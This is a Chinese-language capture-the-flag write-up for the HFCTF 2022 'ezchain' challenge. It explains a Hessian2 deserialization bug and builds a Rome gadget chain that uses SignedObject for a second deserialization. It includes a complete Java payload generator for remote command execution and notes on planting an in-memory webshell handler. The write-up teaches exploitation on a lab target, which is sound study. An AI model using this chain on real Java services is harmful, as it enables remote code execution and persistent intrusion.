虎符 2022 ezchain
这个题我做了一晚上 + 一白天。是一个很好的题目 对于学Java的同学的自动化代码审计,漏洞原理研究,Java本身机制了解有着一定的要求。本文会详细阐述该题目的解题思路和踩过的一些坑
0x01 题目分析
拿到题目,直接分析
version: '2.4'
services:
nginx:
image: nginx:1.15
ports:
- "0.0.0.0:8090:80"
restart: always
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
networks:
- internal_network
- out_network
web:
build: ./
restart: always
volumes:
- ./flag:/flag:ro
networks:
- internal_network
networks:
internal_network:
internal: true
ipam:
driver: default
out_network:
ipam:
driver: default
非常明显的不出网特征
然后反编译jar看一下源码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.instrument.Instrumentation;
import java.net.InetSocketAddress;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.Executors;
import java.util.stream.Stream;
public class Index {
public Index() {
}
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new Index.MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}
static class MyHandler implements HttpHandler {
MyHandler() {
}
public void handle(HttpExchange t) throws IOException {
String query = t.getRequestURI().getQuery();
Map<String, String> queryMap = this.queryToMap(query);
String response = "Welcome to HFCTF 2022";
if (queryMap != null) {
String token = (String)queryMap.get("token");
String secret = "HFCTF2022";
if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
InputStream is = t.getRequestBody();
try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception var9) {
response = "oops! something is wrong";
}
} else {
response = "your token is wrong";
}
}
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
public Map<String, String> queryToMap(String query) {
if (query == null) {
return null;
} else {
Map<String, String> result = new HashMap();
String[] var3 = query.split("&");
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
String param = var3[var5];
String[] entry = param.split("=");
if (entry.length > 1) {
result.put(entry[0], entry[1]);
} else {
result.put(entry[0], "");
}
}
return result;
}
}
}
}
明显的Hessian2Input
反序列化。 又有Rome-tools
的依赖。思路明确下来 利用Hessian2
协议打Rome
反序列化
关于Hessian2
&Rome
可以参考
https://www.anquanke.com/post/id/263274#h2-9
通过触发ToString方法来触发getter方法
//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);
//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);
对于触发JDBC的调用栈如下
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
0x02 Tamplates
有了现成的链子,第一思路就是 将Tamplates的利用直接塞进去
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(ysoserial.payloads.test2.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
相信各位师傅们也有这样尝试过。但是发现并没有执行成功,并且报错
但是其实debug会发现其实进到了这个类
并且东西还很全
其实继续跟进会发现在Hessian的一些限制下,导致被transient
修饰的_tfactory
对象无法写入造成空指针异常
所以这时候我们的思路定在二次反序列化上。那么如何去寻找这个类呢
这个预期类需要满足几个条件
- 有readobject
- 有getter方法,且无参数
- 继承Serializable
一开始我是注意到了一个比较突兀的依赖jdom2
但是搜了一下发现没有可以利用的地方
这里就要利用自动化审计工具了。asm/tabby/codeql 都可以
设定好条件后就可以发现jdk里的java.security.SignedObject
继承Serializable 有getter方法 无参数 可以反序列化
完美的链子
网上可以查到很多关于这个类的编写方式。 按照demo改一改
package ysoserial.payloads;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.*;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;
import ysoserial.Serializer;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.util.Base64;
public class HashCodeBypass {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(ysoserial.payloads.test2.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashmap = makeMap(root,root);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);
ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
EqualsBean root1 = new EqualsBean(ToStringBean.class, item);
HashMap<Object, Object> hashmap1 = makeMap(root1,root1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(hashmap1);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
String exp = Base64.getEncoder().encodeToString(bytes);
System.out.println(exp);
// try {
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
// Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
// System.out.println(hessian2Input.readObject());
// } catch (Exception e) {
// System.out.println(e);
// }
}
}
然后就可以命令执行了。这时候拿回显成了另一个考点(据说出题人预期是命令盲注 人麻了)
0x03 回显的几种方式
相信对Java安全学习过一段时间都对java的反射 线程有一定的了解。在一个运行中的应用里。所有所需要的类都可以从线程中获得,本题也不例外。我们可以下一个断点看看怎么办
思路比较明确,注入恶意的handle达到内存马的效果
debug一下表达式
有多明显不用我说了吧
当然你也可以直接拿到rep 直接回显结果
最后